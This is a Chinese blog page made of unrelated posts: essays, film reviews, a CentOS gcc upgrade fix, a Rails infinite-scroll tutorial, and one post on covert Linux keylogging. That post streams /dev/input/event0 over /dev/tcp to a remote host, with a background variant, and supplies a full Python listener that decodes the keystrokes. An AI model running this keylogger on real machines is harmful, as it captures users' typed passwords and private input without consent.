马伯庸的著作《长安十二时辰》改编的电视剧,最近很火。很精彩地诉说了一段唐朝天保年间的上元节,十二个时辰之内在长安发生的故事。

有的时候,短短一天,能够发生很多事情,无论是生活还是戏剧,都像是由片段拼接起来的勉强的近似解 – 无法完整回答人生那么长的困惑。

我想记住昨天在合肥的十二个小时的片段。

昨日傍晚五点从南京出发,不到六点就到了。其实如果在合肥南站附近置业,在南京城工作,通勤基本上是非常方便的。

合肥消费水平居中,空气也很好,是内陆一个还算不错的城市了。虽然我对那儿也谈不上喜欢,但是其实内心是比较怀念安徽的。

倘若不是如此,想必我会离开更远吧。

生活总是引诱我们做一些不得不做的事情,比如旅行,比如冒险。

生活还会引诱我们做大哥,就像长安的张小敬那样。以前我觉得做大哥就是呼风唤雨。

其实,做大哥真正需要的是默默无闻。无闻且无私,无私又无畏。大哥是让兄弟吃饱,自己受饿的那种人。

这样想来,生活引诱我们做大哥,其实就是在引诱自己受虐。结论是不要轻易做大哥,先想想自己有没有那种无私无畏,而不是一些其他什么。

谁能一直经得住生活的诱惑,不铤而走险呢?一旦去旅行,或者去冒险,又一不小心在旅途中做了大哥,搞不好会坑一路人。

这其实是我心里早就产生的想法,只是此次的合肥之旅,使我更加沉默了。



1
cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

中午水群的时候,看到群友提的需求,要实现在Linux下的键盘记录,要求是没有进程、不易察觉等等。在思考Linux下怎样实现无痕迹的键盘记录的时候,脑洞一开突然想到在Linux中,所有的设备都是以文件的形式挂在/dev目录下的,键盘也不例外。与用户输入有关的设备/dev/input/eventX通常是一种字符设备,是以流的形式实时地连续读取的。再联想到反弹shell的时候,有一种姿势是通过将bash重定向到/dev/tcp中的设备,来实现反弹shell的。那么同理,是不是可以将/dev/input/下的输入设备字节流实时发送到远程进行监听呢?

想到就去做,于是先在本地监听一个端口,再通过重定向输入将/dev/input/event0设备的字节流发送到本地的监听端口,可以看见,能够成功将输入重定向到目标端口,说明此路可通。

只是这个时候,在我们的监听窗口中接收到的来自键盘设备的输入都是乱码,因为event0设备的输出是内核定义的特定结构体,并不是直接的可见字符,于是,我们还需要实现一个解析命令的服务端控制台来实现对输入的解析。

关于输入设备传入的结构体,想要了解Linux操作系统如何解码它,我们需要知道Linux输入事件input_event结构体是如何定义的。这里通过查阅资料了解到,键盘事件结构体的定义在python中的解包格式是’llHHI’,分别表示时间戳、设备类型、事件类型、事件值等。(结构体详情可以参考/usr/include/linux/input.h)。

因此目标就明确了,写个脚本在服务端远程解码即可。实现的效果:

在服务端运行脚本,目标靶机中输入命令:

cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

服务端看到的情况:

思考

这种方法实现的键盘记录,优点是不需要在目标服务器中上传二进制木马,只需要一条命令就可以执行。但是缺点是低权限用户一般无法读取/dev/目录下字符设备的输入,导致攻击利用有一定的局限性。同时执行ps命令会看到cat进程读取输入设备的进程,也可以在netstat中看到有网络连接等,容易被管理员发现,所以一般只能用于渗透测试过程中临时测试使用,或是一些比较特殊的场景下使用。

附赠服务端脚本:

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Chorder @ 20190724

import sys
import time
import socket
import struct

if len(sys.argv) < 3:
print("Usage:\n\tpython %s IP PORT" % __file__ )
exit(0)
else:
host = sys.argv[1]
port = int(sys.argv[2])
print("[*] 在目标主机运行以下命令:\n前台运行:\tcat /dev/input/event0 > /dev/tcp/%s/%d >&1" % (host,port) )
print("后台运行:\tnohup cat /dev/input/event0 > /dev/tcp/%s/%d >&1 &" % (host,port) )
print("[*] 开始监听...")

s = socket.socket()
s.bind((host, port))
s.listen(5)

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

KEYBOARD_MAP={
0 :"ESC",
1 :"ESC",
2 :"1",
3 :"2",
4 :"3",
5 :"4",
6 :"5",
7 :"6",
8 :"7",
9 :"8",
10 :"9",
11 :"0",
12 :"-",
13 :"=",
14 :"BACK",
15 :"TAB",
16 :"Q",
17 :"W",
18 :"E",
19 :"R",
20 :"T",
21 :"Y",
22 :"U",
23 :"I",
24 :"O",
25 :"P",
26 :"LBRACKET",
27 :"RBRACKET",
28 :"RETURN",
29 :"LCONTROL",
30 :"A",
31 :"S",
32 :"D",
33 :"F",
34 :"G",
35 :"H",
36 :"J",
37 :"K",
38 :"L",
39 :"SEMICOLON",
40 :"APOSTROPHE",
41 :"`",
42 :"LSHIFT",
43 :"\\",
44 :"Z",
45 :"X",
46 :"C",
47 :"V",
48 :"B",
49 :"N",
50 :"M",
51 :",",
52 :".",
53 :"/",
54 :"RSHIFT",
55 :"MULTIPLY",
56 :"Alt",
57 :"SPACE",
58 :"CAPITAL",
59 :"F1",
60 :"F2",
61 :"F3",
62 :"F4",
63 :"F5",
64 :"F6",
65 :"F7",
66 :"F8",
67 :"F9",
68 :"F10",
69 :"NUMLOCK",
70 :"SCROLL",
71 :"NUMPAD7",
72 :"NUMPAD8",
73 :"NUMPAD9",
74 :"SUBTRACT",
75 :"NUMPAD4",
76 :"NUMPAD5",
77 :"NUMPAD6",
78 :"ADD",
79 :"NUMPAD1",
80 :"NUMPAD2",
81 :"NUMPAD3",
82 :"NUMPAD0",
83 :"DECIMAL",
87 :"F11",
88 :"F12",
100 :"F13",
101 :"F14",
102 :"F15",
112 :"KANA",
121 :"CONVERT",
123 :"NOCONVERT",
125 :"¥",
141 :"NUMPADEQUALS",
144 :"^",
145 :"@",
146 :":",
147 :"_",
148 :"KANJI",
149 :"STOP",
150 :"AX",
151 :"UNLABLED",
156 :"NUMPADENTER",
157 :"RCONTROL",
179 :"NUMPADCOMMA",
181 :"DIVIDE",
183 :"SYSRQ",
184 :"ALT",
197 :"PAUSE",
199 :"HOME",
200 :"UP",
201 :"PRIOR",
203 :"LEFT",
205 :"RIGHT",
207 :"END",
208 :"DOWN",
209 :"NEXT",
210 :"INSERT",
211 :"DELETE",
219 :"LMETA",
220 :"RMETA",
221 :"APPS",
222 :"POWER",
223 :"SLEEP"
}

class KeyboardEvent():
def __init__(self,event_data):
(evt_sec, evt_usec, evt_type, evt_code, evt_value) = struct.unpack(FORMAT, event_data)
evt_time = time.localtime( float("%d.%d" % (evt_sec, evt_usec ) ) )
if evt_type == 1 and evt_value == 1:
try:
print("%s: %s" % ( time.strftime("%Y-%m-%d %H:%M:%S",evt_time), KEYBOARD_MAP[evt_code]))
except KeyError as e:
print("%s: 未知字符 %s" % (time.strftime("%Y-%m-%d %H:%M:%S",evt_time), evt_code) )
else:
pass




while True:
client_handle,client = s.accept()
print "新客户端上线: %s:%s" % ( client[0],client[1] )
while True:
kbevt = KeyboardEvent( client_handle.recv(EVENT_SIZE) )

c.close()


在CentOS 6 机器中安装sassc Gem,报如下的错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
[root@localhost ~ ]# gem install sassc
Building native extensions. This could take a while...
ERROR: Error installing sassc:
trueERROR: Failed to build gem native extension.

current directory: /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/ext
/usr/local/rvm/rubies/ruby-2.6.2/bin/ruby -rrubygems /usr/local/rvm/rubies/ruby-2.6.2/lib/ruby/gems/2.6.0/gems/rake-12.3.2/exe/rake RUBYARCHDIR\=/usr/local/rvm/gems/ruby-2.6.2/extensions/x86_64-linux/2.6.0/sassc-2.0.1 RUBYLIBDIR\=/usr/local/rvm/gems/ruby-2.6.2/extensions/x86_64-linux/2.6.0/sassc-2.0.1
cd libsass
make lib/libsass.so
mkdir lib
cc -Wall -O2 -I /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/ext/libsass/include -fPIC -fPIC -c -o src/cencode.o src/cencode.c
src/cencode.c: In function ‘base64_encode_block’:
src/cencode.c:50: warning: empty declaration
src/cencode.c:64: warning: empty declaration
g++ -Wall -O2 -std=c++0x -I /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/ext/libsass/include -fPIC -fPIC -c -o src/ast.o src/ast.cpp
In file included from src/ast.cpp:2:
src/ast.hpp: In member function ‘virtual size_t Sass::Vectorized<T>::hash()’:
src/ast.hpp:336: error: expected initializer before ‘:’ token
src/ast.hpp:339: error: expected primary-expression before ‘}’ token
src/ast.hpp:339: error: expected ‘;’ before ‘}’ token
src/ast.hpp:339: error: expected primary-expression before ‘}’ token
src/ast.hpp:339: error: expected ‘)’ before ‘}’ token
src/ast.hpp:339: error: expected primary-expression before ‘}’ token
src/ast.hpp:339: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In constructor ‘Sass::Hashed::Hashed(size_t)’:
src/ast.hpp:373: error: ‘class Sass::ExpressionMap’ has no member named ‘reserve’
src/ast.hpp: In member function ‘Sass::Hashed& Sass::Hashed::operator+=(Sass::Hashed*)’:
src/ast.hpp:402: error: expected initializer before ‘:’ token
src/ast.hpp:406: error: could not convert ‘Sass::Hashed::reset_duplicate_key()’ to ‘bool’
src/ast.hpp:407: error: expected primary-expression before ‘return’
src/ast.hpp:407: error: expected ‘)’ before ‘return’
In file included from src/ast.cpp:2:
src/ast.hpp: In member function ‘virtual size_t Sass::Map::hash()’:
src/ast.hpp:1153: error: expected initializer before ‘:’ token
src/ast.hpp:1157: error: expected primary-expression before ‘}’ token
src/ast.hpp:1157: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1157: error: expected primary-expression before ‘}’ token
src/ast.hpp:1157: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1157: error: expected primary-expression before ‘}’ token
src/ast.hpp:1157: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual size_t Sass::Function_Call::hash()’:
src/ast.hpp:1522: error: expected initializer before ‘:’ token
src/ast.hpp:1524: error: expected primary-expression before ‘}’ token
src/ast.hpp:1524: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1524: error: expected primary-expression before ‘}’ token
src/ast.hpp:1524: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1524: error: expected primary-expression before ‘}’ token
src/ast.hpp:1524: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual size_t Sass::Number::hash()’:
src/ast.hpp:1614: error: expected initializer before ‘:’ token
src/ast.hpp:1616: error: expected primary-expression before ‘for’
src/ast.hpp:1616: error: expected ‘;’ before ‘for’
src/ast.hpp:1616: error: expected primary-expression before ‘for’
src/ast.hpp:1616: error: expected ‘)’ before ‘for’
src/ast.hpp:1616: error: expected initializer before ‘:’ token
src/ast.hpp:1618: error: expected primary-expression before ‘}’ token
src/ast.hpp:1618: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1618: error: expected primary-expression before ‘}’ token
src/ast.hpp:1618: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1618: error: expected primary-expression before ‘}’ token
src/ast.hpp:1618: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘bool Sass::String_Schema::has_interpolants()’:
src/ast.hpp:1791: error: expected initializer before ‘:’ token
src/ast.hpp:1794: error: expected primary-expression before ‘return’
src/ast.hpp:1794: error: expected ‘;’ before ‘return’
src/ast.hpp:1794: error: expected primary-expression before ‘return’
src/ast.hpp:1794: error: expected ‘)’ before ‘return’
src/ast.hpp: In member function ‘virtual size_t Sass::String_Schema::hash()’:
src/ast.hpp:1801: error: expected initializer before ‘:’ token
src/ast.hpp:1803: error: expected primary-expression before ‘}’ token
src/ast.hpp:1803: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1803: error: expected primary-expression before ‘}’ token
src/ast.hpp:1803: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1803: error: expected primary-expression before ‘}’ token
src/ast.hpp:1803: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual size_t Sass::Compound_Selector::hash()’:
src/ast.hpp:2750: error: ‘template<class T> class Sass::Vectorized’ used without template parameters
src/ast.hpp: In member function ‘virtual size_t Sass::Selector_List::hash()’:
src/ast.hpp:2997: error: ‘template<class T> class Sass::Vectorized’ used without template parameters
src/ast.hpp: In member function ‘virtual void Sass::Selector_List::set_media_block(Sass::Media_Block*)’:
src/ast.hpp:3014: error: expected initializer before ‘:’ token
src/ast.hpp:3017: error: expected primary-expression before ‘}’ token
src/ast.hpp:3017: error: expected ‘;’ before ‘}’ token
src/ast.hpp:3017: error: expected primary-expression before ‘}’ token
src/ast.hpp:3017: error: expected ‘)’ before ‘}’ token
src/ast.hpp:3017: error: expected primary-expression before ‘}’ token
src/ast.hpp:3017: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual bool Sass::Selector_List::has_placeholder()’:
src/ast.hpp:3019: error: expected initializer before ‘:’ token
src/ast.hpp:3022: error: expected primary-expression before ‘return’
src/ast.hpp:3022: error: expected ‘;’ before ‘return’
src/ast.hpp:3022: error: expected primary-expression before ‘return’
src/ast.hpp:3022: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Selector_List::find(bool (*)(Sass::AST_Node_Obj))’:
src/ast.cpp:35: error: expected initializer before ‘:’ token
src/ast.cpp:39: error: expected primary-expression before ‘return’
src/ast.cpp:39: error: expected ‘;’ before ‘return’
src/ast.cpp:39: error: expected primary-expression before ‘return’
src/ast.cpp:39: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::find(bool (*)(Sass::AST_Node_Obj))’:
src/ast.cpp:45: error: expected initializer before ‘:’ token
src/ast.cpp:49: error: expected primary-expression before ‘return’
src/ast.cpp:49: error: expected ‘;’ before ‘return’
src/ast.cpp:49: error: expected primary-expression before ‘return’
src/ast.cpp:49: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual void Sass::Arguments::set_delayed(bool)’:
src/ast.cpp:98: error: expected initializer before ‘:’ token
src/ast.cpp:102: error: expected primary-expression before ‘}’ token
src/ast.cpp:102: error: expected ‘)’ before ‘}’ token
src/ast.cpp:102: error: expected primary-expression before ‘}’ token
src/ast.cpp:102: error: expected ‘;’ before ‘}’ token
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::has_parent_ref() const’:
src/ast.cpp:171: error: expected initializer before ‘:’ token
src/ast.cpp:174: error: expected primary-expression before ‘return’
src/ast.cpp:174: error: expected ‘;’ before ‘return’
src/ast.cpp:174: error: expected primary-expression before ‘return’
src/ast.cpp:174: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::has_real_parent_ref() const’:
src/ast.cpp:179: error: expected initializer before ‘:’ token
src/ast.cpp:182: error: expected primary-expression before ‘return’
src/ast.cpp:182: error: expected ‘;’ before ‘return’
src/ast.cpp:182: error: expected primary-expression before ‘return’
src/ast.cpp:182: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::is_superselector_of(Sass::Selector_List_Obj, std::string)’:
src/ast.cpp:846: error: expected initializer before ‘:’ token
src/ast.cpp:849: error: expected primary-expression before ‘return’
src/ast.cpp:849: error: expected ‘;’ before ‘return’
src/ast.cpp:849: error: expected primary-expression before ‘return’
src/ast.cpp:849: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘Sass::Selector_List* Sass::Complex_Selector::resolve_parent_refs(std::vector<Sass::SharedImpl<Sass::Selector_List>, std::allocator<Sass::SharedImpl<Sass::Selector_List> > >&, Sass::Backtraces&, bool)’:
src/ast.cpp:1408: error: expected initializer before ‘:’ token
src/ast.cpp:2226: error: expected primary-expression at end of input
src/ast.cpp:2226: error: expected ‘;’ at end of input
src/ast.cpp:2226: error: expected primary-expression at end of input
src/ast.cpp:2226: error: expected ‘)’ at end of input
src/ast.cpp:2226: error: expected statement at end of input
src/ast.cpp:2226: error: expected ‘}’ at end of input
src/ast.cpp:2226: error: expected ‘}’ at end of input
src/ast.cpp: At global scope:
src/ast.cpp:2226: error: expected ‘}’ at end of input
src/units.hpp:11: warning: ‘Sass::PI’ defined but not used
make: *** [src/ast.o] Error 1
rake aborted!
Command failed with status (2): [make lib/libsass.so...]
/usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/lib/tasks/libsass.rb:31:in `block (2 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/lib/tasks/libsass.rb:13:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/lib/tasks/libsass.rb:12:in `block (2 levels) in <top (required)>'
Tasks: TOP => lib/libsass.so
(See full trace by running task with --trace)

rake failed, exit code 1

Gem files will remain installed in /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1 for inspection.
Results logged to /usr/local/rvm/gems/ruby-2.6.2/extensions/x86_64-linux/2.6.0/sassc-2.0.1/gem_make.out

经排查,是因为GCC的版本过低导致的。

按照这个步骤,检查下GCC版本,如果是同样的版本和报错,那么可以参考以下的解决方法:

1
2
[root@localhost ~]# gcc --version | head -n1
gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-23)

如果GCC是这个版本,那就安装新版本的的GCC:

1
2
yum install centos-release-scl-rh
yum install devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-binutils

安装好以后,再次配置GCC环境并检查版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@localhost ~]# cat << _EOF_ > /etc/profile.d/devtoolset.sh
> #!/bin/bash
> source scl_source enable devtoolset-7
> _EOF_
[root@localhost ~]#
[root@localhost ~]# gcc --version | head -n1
gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-23)
[root@localhost ~]# cat /etc/profile.d/devtoolset.sh
#!/bin/bash
source scl_source enable devtoolset-7
[root@localhost ~]# source /etc/profile.d/devtoolset.sh
[root@localhost ~]# gcc --version | head -n1
gcc (GCC) 7.3.1 20180303 (Red Hat 7.3.1-5)

确认GCC配置好以后,再次执行bundle或者执行gem install sassc来安装即可。



随着现代浏览器性能的提升,前端工程师设计出的交互方式也多种多样。其中瀑布流方式滚动更新加载已经是一种常见的Web前端交互方式了。

然而在Rails中如何实现这样一种随着用户滚动页面就能自动追加内容到页面的方式呢?

有一些现成的Gem可以推荐,例如jquery-infinite-pageswill_paginate_infinite等。不过我觉得它们使用比较复杂,不如自己去实现一个。

本文既然提到最方便,自然是需要用一种最小化改动的方式来实现这样的功能。

具体如何实现,请往下看。

首先假设我们要实现瀑布流式动态更新的对象是Post(或者是Article、News或者其他),第一步我们需要在Gemfile中加入以下两个Gem:

1
2
gem 'will_paginate'
gem 'bootstrap-will_paginate'

然后执行bundle,接着去修改posts_controller.rb,修改其中的index方法:

1
2
3
4
5
6
7
8
def index
@posts = Post.all.paginate(:page => params[:page], :per_page => 10)

respond_to do |format|
format.html
format.js
end
end

这里由于我们增加了js的渲染格式,所以要去views/posts中添加一个index.js.erb模板文件,内容如下:

1
2
3
4
5
6
7
$('#posts_list').append('<%= j render @posts %>');
<% if @posts.next_page %>
$('.pagination').replaceWith('<%= j will_paginate @posts %>');
<% else %>
$(window).off('scroll');
$('.pagination').remove();
<% end %>

上面的代码通过js定位页面中的posts_list作为要追加元素的目标,所以我们稍微修改一下views/posts/index.html.erb,在其中加入posts_list元素:

1
2
3
4
5
6
7
8

<div id="posts_list">
<%= render @posts %>
</div>

<div id="infinite-scrolling">
<%= will_paginate %>
</div>

在这段代码中,我们将@posts集合交给其他模板去渲染了,而这里暂时还没有用来渲染@posts的模板,所以要在views/posts中创建一个_post.html.erb模板文件,内容如下:

1
2
3
4
5
<div>
<h3><%= post.title %></h3>
<p><%= post.content %></p>
<hr/>
</div>

就这么简单,用来输出标题和内容。

最后关键的一步,需要创建一个事件监听器来捕获页面的滚动变化,所以在assets/javascripts/posts.coffee中,加入以下代码:

1
2
3
4
5
6
7
8
9

$(document).on "turbolinks:load", ->
$(window).on 'scroll', ->
more_posts_url = $('.pagination .next_page a').attr('href')
if more_posts_url && $(window).scrollTop() > $(document).height() - $(window).height() - 60
$('.pagination').html('<img src="/assets/ajax-loader.gif" alt="Loading..." title="Loading..." />')
$.getScript more_posts_url
return
return

如此一来,就实现了通过ajax方式请求原来需要在下一页展现内容,并把内容追加到index.html的文章列表中,也就实现了瀑布流加载了。

一切修改好以后,重启Rails服务,在页面滚动一下试试吧。

本方法参考自https://www.sitepoint.com/infinite-scrolling-rails-basics/



在无垠的大地,广袤的草原上,生活着一批原始人。

他们以部落的方式群居,身体强壮的人负责打猎、种植,心灵手巧的人负责编织、烹饪。

部落里需要饮水,于是年老的长者带领着大家从遥远的河流里,往部落挖了一条沟渠。

至于为什么他们不直接搬到大河边居住,也许是因为河边土地过于松软吧,部落的土房子还无法适应那样松软的地表。

日子就这样,年复一年。

对了,在沟渠挖好以后,部落里除了打猎、编织的人以外,又多了一类人。

他们因为住的离沟渠比较近,可以很轻易地打到水,所以,他们开始一个新的工作,卖水。

不过,在原始人的世界里,没有“卖”这个字,他们也理解不了这个行为。

他们只是用打好的水,去和部落里的其他人换取一些猎物和织好的布。

日子就这样,年复一年。部落的居民也没觉得有什么奇怪。

这确实不是什么奇怪的事情。

毕竟,每个打猎回来的傍晚,打猎的人实在很累,也确实不想再亲自去渠边,拎那么一捅水回来。

他更愿意,拿自己多分到的一只野兔,去和住在沟渠边的人换一桶水。

这样看起来,整个部落的协作,反而变得更高效了。

卖水本身合情合理,也不是什么坏事,反而是一种善举。

这世界本就是这样,很多事情的发生,都有一个善良的初衷。

这件善良的事情,一致这样延续着,年复一年。

直到过了很多年,部落里有了一个聪明人,他居然用木材做成管道,可以更方便地引导水的流动。

一开始部落里的人只是以为可以多一种运输材料。

可是谁知道,有一天,一个原始人居然跳出来说,既然我们可以做成这么方便的管子了,为什么我们不把水供应到部落的每个居民家中呢?

这样,我们就可以不需要从沟渠里取水了!

猎人很开心,他送给这个提建议的伙伴一头野猪,感谢他提出这么具有建设性的思路。

但有一些人,他们不开心了。那就是原本住在沟渠边卖水的人。

这么些年,他们早已经忘记了怎么打猎,甚至,他们当中有的已经开始刻意逃避打猎了。

他们只知道怎么高效地取水、换野兔。

使用管道供水,就意味着,部落抛弃了他们。

管道,可以让猎人不用拿野兔换就可以喝到水,虽然猎人们同样需要用野兔去换一根可以供水的管道。

但却让渠边的人的生活,发生很大的变化。

提议用管道供水的人,他有错吗?他只是一个颠覆者。

发明管道的人,他呢,有错吗?他只是热爱发明。

猎人有错吗?他只是不想再用野兔换水。

在沟渠边卖水的人,有错吗?他只是在用劳动为别人提供方便。

没有谁有错,只是环境需要演变,部落必然要向着更高效的层次转变。

守旧者害怕改变,固执坚守。

颠覆者陷入困局,遇到阻力。

听说在有的部落,甚至因为这些,在内部起了冲突。好在这个部落没有。

最后,事情怎么样了呢?

部落开会决定把供水管道的建设和维护工作交给这些只会卖水的部落居民,让他们继续发扬奉献精神,为部落提供方便。

事情顺利推进了。



这部电影,前不久去重温了一遍。为的就是给宫崎骏补一张电影票。
想必现在影评都烂大街了,解读无非就围绕几个角度:欲望、人性、环保等等。

相比之下,宫崎骏并没有像东野圭吾那样近距离凝视深渊,在宫崎骏老爷子的笔下,世界虽然有着这样那样的不美好,但最后,总是会回归美好。

老爷子其实很善良,把一切的善意都流露在笔端,送给这个世界了。

文艺大师的出现,往往会和时代背景有着紧密的联系。

宫崎骏出生于二十世纪四十年代初,成长于六十年代初。
翻看日本的现代史,从二十世纪六七十年代开始,经济进入了稳定增长时期。从1989年开始的平成年代,到90年代末,东京渐渐成为了国际金融市场,经济达到了战后的顶点。
金融的飞速发展,让日本的经济突飞猛进,也加速实现了日本的现代化,以致于蜡笔小新那个年代的日本家庭,彩电、冰箱等家电已经成为了日本家庭的常见的家庭用品了。
宫崎骏正是在那个环境下成长起来的一代人(有点类似我们国家的85后,95前这批人)。

然而等到他羽翼丰满,才华横溢的时候,日本正在经历些什么呢?
经过几十年的快速发展,日本的社会变化已经翻天覆地。但紧随其后的经济泡沫,让整个国家陷入了低迷和萧条。
而经济发展带来的诸如快节奏的生活方式、社会矛盾、环境污染问题,成为了不可避免的痛点。

善良的宫老爷子,于是乎拿起他的画笔,通过一系列的形象、场景和比喻,来告诫和提醒人们这些问题,这就是为什么在2001年,有了这样一部动画。

动画中的一开始,千寻一家去的主题公园,就是经济增长时期开发,经济萧条时期荒废下来的“鬼城”。类似的场景,还出现在《天空之城》。在《天空之城》的故事中,未来的人们利用科技甚至实现了把拉普达这个城市漂浮在了空中,但却仍然避免不了衰落的命运,这其实就是在告诫人们,要实行一种可持续的生态发展战略。

经济快速发展,带来的精神层面的问题也越来越多。在《千与千寻》里,灯红酒绿的娱乐场(澡堂),形形色色的“妖魔鬼怪”忘了自己的名字,用金钱购买快乐。贪婪的人会变成猪,忘了自己名字的人,成为了别人的傀儡,任人摆布。

这是不是就是所谓的众生相呢?

反观当下,千寻曾经是你,是我,是我们每一个人。但是当我们离开象牙塔走入社会,是否又能一直保持一颗初心,面对世俗的诱惑,能够不为所动,一直记得自己是谁呢?

《千寻》这部电影,对于当下的中国,十分具有警世意义。

四十年的改革开放,让中国经济增速远远超过当初的日本,但是也要警惕经济发展所带来的反噬效应。环境、社会等问题,丝毫不可忽视。(而实际上,很多问题现在已经逐渐开始显现了。)

经济、社会的问题这里暂且按下不表,此篇杂叙只谈电影和文艺。说到文艺,往往时代会成就大师。中国电影的上一个时代,成就了姜文、葛优、冯小刚。而今后,必定也会诞生属于这个时代的一批大师。

想来,等我们这届年轻人老了,应该不会太无聊。



一切有为法,如梦幻泡影,如露亦如电,应作如是观。

金刚经

这是一部不算太烧脑的悬疑电影。导演 奥利奥尔·保罗 是个我非常看好的逻辑鬼才。他的上一部电影,叫做《看不见的客人》。

这部电影说的是家庭主妇在雷暴中通过一台旧电视打通了与1979年的联系,意外地干扰了一起谋杀案,从而引发时空错乱的故事。

导演非常善于运用外部环境为剧情营造氛围,比如雷暴、夜晚等等。构思这样一部剧情严密并又逻辑复杂的电影是需要在剧本上费些心思的。

剧情就不做过多描述了。简单聊一聊这部电影带来的外围思考。

想必很多看过这部电影的人都有这样的想法,觉得人生如梦一场,恍惚一念,可能就会经历n个完全不同的故事。

哈哈,其实这不是宗教里面早就提出来的可能性吗?人生,仿佛梦幻泡影,如露如电。

从工程层面来说,虽然宇宙的空间无穷无尽,但是提高它的利用率大概也是造物主在设计这个系统时需要考虑的一个因素。

就好比,通过时分复用进行串口通信,以及在现代操作系统上,通过段+偏移来寻址,就可以更加巧妙充分地利用总线一样。

相信造物主在设计这个宇宙的时候,应该也是建立了不同的维度,让这个模型更加完美和巧妙,充满了艺术感,不是吗?

造物主为我们准备的刻度显然需要足够精确,在这种精确的维度下实现“时空复用”。

现象就是此时此刻可能有无数个我,有多少个未知的时空,就有多少个我。

那个勇敢说出喜欢你的我,那个加倍努力奋斗上进的我,那个沉迷游戏难以自拔的我,还有这个和你相遇的正在码字的我。

在这个系统里,人生的表达式,不是只有唯一的解,我们的相遇,也许只是一个偶然。电光火石间,刹那与须臾。

我想,那正是我们正在经历着的,盛大如梦幻泡影的,海市蜃楼。



朴树的道

小学的时候,第一次听到一句诗,诗中说“生如夏花之绚烂 死如秋叶之静美”。
那个时候,自己还是一个顽皮的小男孩,根本就不懂,什么叫做生如夏花呐?

后来升入初中,心头有了思绪,听到有一个歌手唱出这句歌词,才知道,生如夏花,是多么幸福的梦想,多么悲怆。

我从远方赶来 赴你一面之约
痴迷流连人间 我为她而狂野
我是这耀眼的瞬间 是划过天边的刹那火焰
我为你来看我不顾一切 我将熄灭永不能再回来

朴树 生如夏花

从那以后,就喜欢上了这个叫做朴树的歌手。开始听他的每一首歌,他是那样特别,看似狂放不羁,却又清新脱俗。
在无尽的靡靡之音中,他就那么干净地伫立。

在希望的田野上,且听风吟。

她在睡梦中,傻子才悲伤。

来不及,送别,平凡之路。

他用每一首歌,悠悠地唱着这世间的悲欢离合。爱情、梦想、风景、旅途都在他的歌声里,优美又深刻。

到后来,听他的《猎户星座》,突然发现,朴树哥(或许应该叫叔),长大了,而彼时那个顽皮的我,也已经长成过了弱冠的小伙。

那个年少轻狂,不知天高地厚的少年,成了一个战战兢兢,如履薄冰的年轻人。二十出头,就失了勇敢。

听着他的《No fear in my heart》,不禁反问自己,在躲避什么,在害怕什么,在挽留什么。

你在躲避什么
你在挽留什么
你想取悦谁呢
你曾经下跪,这冷漠的世界,何曾将你善待
所以你厌恶危险,坠入厄运深渊,输掉一切
你两手紧紧抓着,如同身处悬崖
你小心翼翼地,以为你拥有着,貌似人生圆满
能不能 彻底地放开你的手
敢不敢 这么义无反顾坠落
坠入黑暗中 坠入泥土中的海阔天空
